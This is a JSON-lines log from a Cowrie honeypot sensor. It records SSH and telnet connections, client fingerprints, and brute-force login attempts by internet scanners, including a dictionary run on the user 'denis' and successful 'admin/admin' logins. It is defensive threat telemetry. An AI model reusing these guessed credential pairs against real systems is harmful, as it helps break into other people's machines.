{"eventid":"cowrie.login.failed","username":"denis","password":"denis","message":"login attempt [denis/denis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:47.415210Z","src_ip":"213.209.159.56","session":"9eded234215b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis1","message":"login attempt [denis/denis1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:48.499834Z","src_ip":"213.209.159.56","session":"9eded234215b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.3430233001709,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:48.693444Z","src_ip":"45.58.127.90","session":"4c0347b14505","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis123","message":"login attempt [denis/denis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:49.584284Z","src_ip":"213.209.159.56","session":"9eded234215b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis1234","message":"login attempt [denis/denis1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:50.669860Z","src_ip":"213.209.159.56","session":"9eded234215b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis12345","message":"login attempt [denis/denis12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:51.755940Z","src_ip":"213.209.159.56","session":"9eded234215b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:52.840997Z","src_ip":"213.209.159.56","session":"9eded234215b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.952488899230957,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:16:57.528083Z","src_ip":"147.182.143.59","session":"ed7adf652ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43966,"dst_ip":"10.17.0.5","dst_port":23,"session":"3299442531fd","protocol":"telnet","message":"New connection: 45.58.127.90:43966 (10.17.0.5:23) [session: 3299442531fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:03.701681Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":42138,"dst_ip":"10.17.0.5","dst_port":22,"session":"39316271cd09","protocol":"ssh","message":"New connection: 79.104.0.82:42138 (10.17.0.5:22) [session: 39316271cd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:08.530044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:08.536429Z","src_ip":"79.104.0.82","session":"39316271cd09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:08.693198Z","src_ip":"79.104.0.82","session":"39316271cd09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe321","message":"login attempt [admin/123qwe321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:09.332517Z","src_ip":"79.104.0.82","session":"39316271cd09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:10.487006Z","src_ip":"79.104.0.82","session":"39316271cd09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":58866,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa250b7c5f63","protocol":"ssh","message":"New connection: 47.239.15.75:58866 (159.203.135.109:22) [session: aa250b7c5f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:13.229907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:14.701750Z","src_ip":"47.239.15.75","session":"aa250b7c5f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:14.726270Z","src_ip":"47.239.15.75","session":"aa250b7c5f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48882,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7a7b73e36e0","protocol":"telnet","message":"New connection: 45.58.127.90:48882 (10.17.0.5:23) [session: d7a7b73e36e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:19.542696Z"}
{"eventid":"cowrie.session.closed","duration":36.728819131851196,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:40.430387Z","src_ip":"45.58.127.90","session":"3299442531fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46380,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bb05e63096c","protocol":"ssh","message":"New connection: 87.251.64.176:46380 (10.17.0.5:22) [session: 5bb05e63096c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:50.509082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:50.513216Z","src_ip":"87.251.64.176","session":"5bb05e63096c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:50.609513Z","src_ip":"87.251.64.176","session":"5bb05e63096c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:50.899571Z","src_ip":"87.251.64.176","session":"5bb05e63096c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:50.998364Z","session":"5bb05e63096c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:51.097313Z","src_ip":"87.251.64.176","session":"5bb05e63096c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:51.197378Z","src_ip":"87.251.64.176","session":"5bb05e63096c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58308,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f223ec40528","protocol":"telnet","message":"New connection: 45.58.127.90:58308 (10.17.0.5:23) [session: 1f223ec40528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:55.023313Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58316,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b4d5ec9faac","protocol":"telnet","message":"New connection: 45.58.127.90:58316 (10.17.0.5:23) [session: 5b4d5ec9faac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:55.985517Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":58110,"dst_ip":"10.17.0.5","dst_port":22,"session":"29dfb657d2fb","protocol":"ssh","message":"New connection: 79.104.0.82:58110 (10.17.0.5:22) [session: 29dfb657d2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:57.680116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:57.685074Z","src_ip":"79.104.0.82","session":"29dfb657d2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:57.830034Z","src_ip":"79.104.0.82","session":"29dfb657d2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":34088,"dst_ip":"159.203.135.109","dst_port":22,"session":"a90880b5a9ff","protocol":"ssh","message":"New connection: 103.203.57.2:34088 (159.203.135.109:22) [session: a90880b5a9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:58.365903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:58.370916Z","src_ip":"103.203.57.2","session":"a90880b5a9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:58.381625Z","src_ip":"103.203.57.2","session":"a90880b5a9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rustserver","password":"qwerty","message":"login attempt [rustserver/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:58.434267Z","src_ip":"79.104.0.82","session":"29dfb657d2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:17:59.580783Z","src_ip":"79.104.0.82","session":"29dfb657d2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59432,"dst_ip":"10.17.0.5","dst_port":23,"session":"a718776ad7c6","protocol":"telnet","message":"New connection: 45.58.127.90:59432 (10.17.0.5:23) [session: a718776ad7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:01.460865Z"}
{"eventid":"cowrie.session.closed","duration":42.2937433719635,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:01.836315Z","src_ip":"45.58.127.90","session":"d7a7b73e36e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59436,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4152efed79c","protocol":"telnet","message":"New connection: 45.58.127.90:59436 (10.17.0.5:23) [session: b4152efed79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:02.050558Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59442,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d1d8148c64","protocol":"telnet","message":"New connection: 45.58.127.90:59442 (10.17.0.5:23) [session: e7d1d8148c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:04.310643Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:08.368248Z","src_ip":"103.203.57.2","session":"a90880b5a9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58768,"dst_ip":"159.203.135.109","dst_port":23,"session":"c32c9439b9f7","protocol":"telnet","message":"New connection: 147.182.143.59:58768 (159.203.135.109:23) [session: c32c9439b9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:10.112510Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50396,"dst_ip":"10.17.0.5","dst_port":23,"session":"5209fe073a96","protocol":"telnet","message":"New connection: 45.58.127.90:50396 (10.17.0.5:23) [session: 5209fe073a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:19.157690Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.21.150.105","src_port":50114,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df39c77170e","protocol":"ssh","message":"New connection: 199.21.150.105:50114 (10.17.0.5:22) [session: 1df39c77170e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:20.929835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:21.098070Z","src_ip":"199.21.150.105","session":"1df39c77170e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:21.102039Z","src_ip":"199.21.150.105","session":"1df39c77170e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:21.567916Z","src_ip":"199.21.150.105","session":"1df39c77170e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:21.700541Z","src_ip":"199.21.150.105","session":"1df39c77170e","protocol":"ssh"}
